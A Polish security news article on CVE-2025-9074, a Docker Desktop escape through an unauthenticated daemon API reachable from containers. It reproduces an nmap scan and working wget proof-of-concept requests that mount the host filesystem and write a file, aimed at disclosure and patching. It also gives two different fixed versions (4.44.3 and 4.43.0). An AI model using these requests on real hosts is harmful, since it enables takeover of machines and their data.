Mega Sekurak Hacking Party w Krakowie! 20.10.2025 r. Bilety -30%

Ucieczka z kontenera Docker na Windowsie przy pomocy SSRF

02 września 2025, 07:27 | W biegu | 1 komentarz

Znacie to uczucie, gdy weryfikujecie założenia projektowe czy wdrożone polityki i coś się nie zgadza? Tego właśnie doznał użytkownik Dockera, który przez złe doświadczenia z wirtualizacją, postanowił sprawdzić izolację sieciową w kontenerach.

TLDR:

  • Przypadkowo odkryta podatność, skatalogowana pod numerem CVE-2025-9074, pozwala na ucieczkę z pozornie izolowanego środowiska.
  • Do ataku wymagane jest wykonanie tylko dwóch poleceń wewnątrz dockerowego kontenera.
  • Technika została odkryta przez przypadek, w wyniku analizowania izolacji sieciowej kontenera.
  • Podatne są instalacje Docker for Desktop pod Windowsa, w systemach macOS atak też jest możliwy, chociaż odrobinę trudniejszy ze względu na mechanizmy bezpieczeństwa (użytkownicy będą musieli potwierdzić dodatkowy monit, aby atak się powiódł).

Badacz przez przypadek odkrył problem, pozwalający na przejęcie kontroli nad hostem, w sytuacji gdy wykorzystywany jest Docker Desktop na systemy Windows oraz macOS. Podatność otrzymała identyfikator CVE-2025-9074 i została naprawiona w wersji 4.44.3. Do przeprowadzenia ataku wymagane jest wykonanie dwóch poleceń, a właściwie dwóch zapytań HTTP. Problem leży w dostępnym, niezabezpieczonym endpoincie API do zarządzania daemonem Dockera, przez co atakujący może podejmować interakcje ze środowiskiem, tworzyć nowe kontenery i montować zasoby hosta. A stąd droga do wykradania informacji z innych kontenerów, systemu czy nawet eskalacja uprawnień jest już prosta. Atak możliwy jest do przeprowadzenia np. z wykorzystaniem podatności SSRF (server-side request forgery) jednak oprócz zwykle możliwego do wykonania zapytania GET, potrzebna jest także możliwość skłonienia systemu do wykonania zapytań POST, co trochę ogranicza możliwości wykorzystania podatności. 

Ucieczki z izolowanego kontenera lub wirtualnej maszyny to jedne z poważniejszych podatności, jakie mogą dotknąć te środowiska – z natury są one wykorzystywane nie tylko do przygotowania gotowych pakietów uruchomieniowych aplikacji – zawierających wszystkie wymagane zależności – ale również do izolacji i separacji. Złamanie tych barier sprowadza niebezpieczeństwo nie tylko na system hosta, ale także na wszystkie kontenery uruchomione w jego ramach. 

Docker korzysta z mechanizmów izolowania procesów dostarczanych przez jądro systemu GNU/Linux. Aby zapewnić podobną funkcjonalność na komputerach pod kontrolą systemów z rodziny Windows oraz macOS, wymagane jest wykorzystanie wirtualizacji, w celu dostarczenia linuxowego kernela. W przypadku produktu Microsoftu, Docker obecnie wspiera dwa tryby działania (na potrzeby dyskusji pomijamy docker Windows Containers). W pierwszym (starszym) wykorzystywany jest hipernadzorca Hyper-V, który umożliwia stworzenie wirtualnej maszyny. Nowsze rozwiązanie wykorzystuje lepiej zintegrowany (ale też wykorzystujący Hyper-V) subsystem Linuxa dla Windowsa czyli WSL2. Z kolei wersja skierowana na komputery Apple wykorzystuje (domyślnie) natywną technologię Virtualization.framework – do niedawna można było też wybrać opcję QEMU, jednak jest ona traktowana jako przestarzała. W wydaniu Beta możliwe jest wykorzystanie nowego hipernadzorcy – VMM (Virtual Machine Manager). 

Strukturę po integracji WSL2 z Windowsem, przedstawia poniższa grafika (rysunek 1.) z oficjalnego bloga Dockera. 

Rysunek 1. Schemat rozwiązania Docker Desktop na systemy Windows ze wsparciem WSL2

W ekosystemie Dockera można wyróżnić kilka kluczowych komponentów, my jednak wymienimy dwa najważniejsze z punktu widzenia tej podatności. Daemon (dockerd) zarządza kontenerami – odpowiada za ich tworzenie, uruchamianie oraz zatrzymywanie. Jest to proces działający w tle, który nasłuchuje poleceń przesyłanych przez RESTowe API z klienta (binarka docker, również natywna pod Windowsem – docker.exe). Domyślna konfiguracja do komunikacji wykorzystuje potoki nazwane (named pipes) lub unixowe gniazda (sockets). Dla systemów pod kontrolą systemd możliwe jest też użycie deskryptorów plików (fd). Środowisko obsługuje jednak też inną metodę komunikacji – nieszyfrowany endpoint HTTP na porcie tcp/2375 (można też skorzystać z szyfrowanej alternatywy na tcp/2376). Domyślna konfiguracja pozostawia kwestie uwierzytelnienia użytkownikom końcowym:

If you need to access the Docker daemon remotely, you need to enable the tcp Socket. When using a TCP socket, the Docker daemon provides un-encrypted and un-authenticated direct access to the Docker daemon by default. You should secure the daemon either using the built in HTTPS encrypted socket, or by putting a secure web proxy in front of it.

Badacze – Felix Boulet ze wsparciem Philippe Dugre odkryli, że skanując sieć określaną jako “prywatną sieć Dockera”, można uzyskać dostęp do wewnętrznego adresu 192.168.65.7, który co prawda nie pojawia się w dokumentacji Docker Desktop wprost, jednak zakres adresów i ich funkcjonalność została opisana w segmencie networking maszyny wirtualnej obsługującej kontenery. 

Rysunek 1. Ustawienia sieci wewnętrznej Docker Desktop (źródło: sekurak)

Przeprowadzając skan całej sieci /24 na niezaktualizowanym Docker Desktop faktycznie można uzyskać dostęp do adresu 192.168.65.7 oraz co najważniejsze portu 2375, który wystawia API do zarządzania dockerd. 

Nmap scan report for 192.168.65.7
Host is up, received echo-reply ttl 63 (0.00015s latency).
Scanned at 2025-09-01 12:21:16 UTC for 107s
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE     REASON         VERSION
53/tcp   open  tcpwrapped  syn-ack ttl 63
2375/tcp open  docker      syn-ack ttl 63 Docker 28.2.2
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 Not Found
|     Content-Type: application/json
|     Date: Mon, 01 Sep 2025 12:21:47 GMT
|     {"message":"page not found"}
|   GenericLines, Help, Kerberos, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 404 Not Found
|     Content-Type: application/json
|     Date: Mon, 01 Sep 2025 12:21:22 GMT
|     {"message":"page not found"}
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Api-Version: 1.50
|     Date: Mon, 01 Sep 2025 12:21:22 GMT
|     Docker-Experimental: false
|     Ostype: linux
|     Server: Docker/28.2.2 (linux)
|   docker:
|     HTTP/1.1 400 Bad Request: missing required Host header
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|_    Request: missing required Host header
| docker-version:
|   Version: 28.2.2
|   ApiVersion: 1.50
|   BuildTime: 2025-05-30T12:07:26.000000000+00:00
|   KernelVersion: 6.6.87.2-microsoft-standard-WSL2
|   GitCommit: 45873be
|   MinAPIVersion: 1.24
|   Arch: amd64
|   Os: linux
|   Platform:
|     Name: Docker Desktop 4.0.0 ()
|  [...]
|_      Name: docker-init
3128/tcp open  squid-http? syn-ack ttl 63
5555/tcp open  freeciv?    syn-ack ttl 63
[...]

Listing 1. Efekt skanu otwartych portów 192.168.65.7 (źródło: sekurak)

Funkcjonalność tego API jest dokładnie opisana w dokumentacji. Badacze zauważyli, że mogąc wykonywać zapytania POST do dostępnego z wewnątrz kontenera endpointu (czyli z wnętrza “izolowanego” i ograniczonego środowiska) są w stanie tworzyć inne kontenery. Wykonując poniższe dwa zapytania przy pomocy narzędzia wget, z wnętrza zwykłego kontenera, byliśmy w stanie stworzyć plik pwn.txt w katalogu naszego użytkownika na dysku C. 

wget --header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/pwn.txt"],"HostConfig":{"Binds":["/mnt/host/c/users/<naszusername>/sekurak/demo:/host_root"]}}' \
-O - http://192.168.65.7:2375/containers/create > create.json
cid=$(cut -d'"' -f4 create.json)
wget --post-data='' -O - http://192.168.65.7:2375/containers/$cid/start

Listing 2. Lekko dopasowany do testowanego systemu zestaw poleceń, pozwalających na utworzenie pliku na hoście (źródło)

Wywołane polecenia pozwoliły na zmianę stanu systemu plików hosta:

Do przejęcia hosta może dojść w przypadku uruchomienia złośliwego kontenera, który sam nie musi posiadać nadmiernych uprawnień. Wystarczy dostęp do niezabezpieczonego API. Domyślnie zarządzanie Docker Engine najwyraźniej jest możliwe w starszych wersjach Docker Desktop. Pod Linuxem domyślna konfiguracja nie korzysta z tego mechanizmu, więc można przyjąć, że zagrożenia nie trzeba mitygować. 

Sprawdziliśmy również Docker Desktop personal na maszynie z macOS, która miała zainstalowaną wersję 4.42.0. Dostęp do katalogu domowego użytkownika i utworzenie w nim pliku pwn.txt wykorzystując ten sam mechanizm nie spowodowało wyświetlenia żadnego monitu. 

Rysunek 2. Utworzony zdalnie kontener, z wnętrza innego kontenera (źródło: sekurak)

PoC został uruchomiony z wnętrza kontenera alpine:latest (PoC jest taki sam jak w przypadku listingu 2, jedyna zmiana to oczywiście miejsce podmontowania w systemie plików hosta). 

/ # wget --header='Content-Type: application/json' --post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/pwn.txt"],"HostConfig":{"Binds
":["/Users/<naszuser>/:/host_root"]}}' -O - http://192.168.65.7:2375/containers/create > create.json
Connecting to 192.168.65.7:2375 (192.168.65.7:2375)
writing to stdout
-                    100% |**********************************************************************************************************|    88  0:00:00 ETA
written to stdout
/ # cid=$(cut -d'"' -f4 create.json)
/ # wget --post-data='' -O - http://192.168.65.7:2375/containers/$cid/start
Connecting to 192.168.65.7:2375 (192.168.65.7:2375)
writing to stdout
written to stdout
/ # exit,
<naszuser>@falcon ~$ ls -la pwn.txt
-rw-r--r--  1 <naszuser>  staff  6 Sep  1 15:18 pwn.txt

Listing 3. PoC dostosowany do systemu macOS  (źródło)

Aktualizacja Docker Engine do poprawionej wersji, powoduje, że w domyślnej konfiguracji endpoint nie jest dostępny z wnętrza kontenera:

Connecting to 192.168.65.7:2375 (192.168.65.7:2375)
wget: can't connect to remote host (192.168.65.7): Connection refused

Reasumując – wystawienie niezabezpieczonego API, które nie implementuje domyślnie żadnej metody uwierzytelniania wewnątrz “bezpiecznych” środowisk, jakimi są kontenery to przepis na katastrofę, która może dotknąć nie tylko atakowany kontener (w przypadku SSRF), ale także cały system i inne aplikacje w nim dostępne. Zaleca się przede wszystkim aktualizację do poprawionych wydań Docker Desktop for Windows/macOS (od 4.43.0 włącznie wzwyż). Jednak to nie wszystko – warto okresowo weryfikować czy API Engine dostępne jest jedynie w wymagany i zabezpieczony zgodnie z przypadkiem użycia sposób. 

~Black Hat Logan

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Tomasz

    Tytuł artykułu mylący. Chodzi tylko o Docker Desktop i moim zdaniem powinno być to zawarte w tytule.

    Odpowiedz

Odpowiedz na Tomasz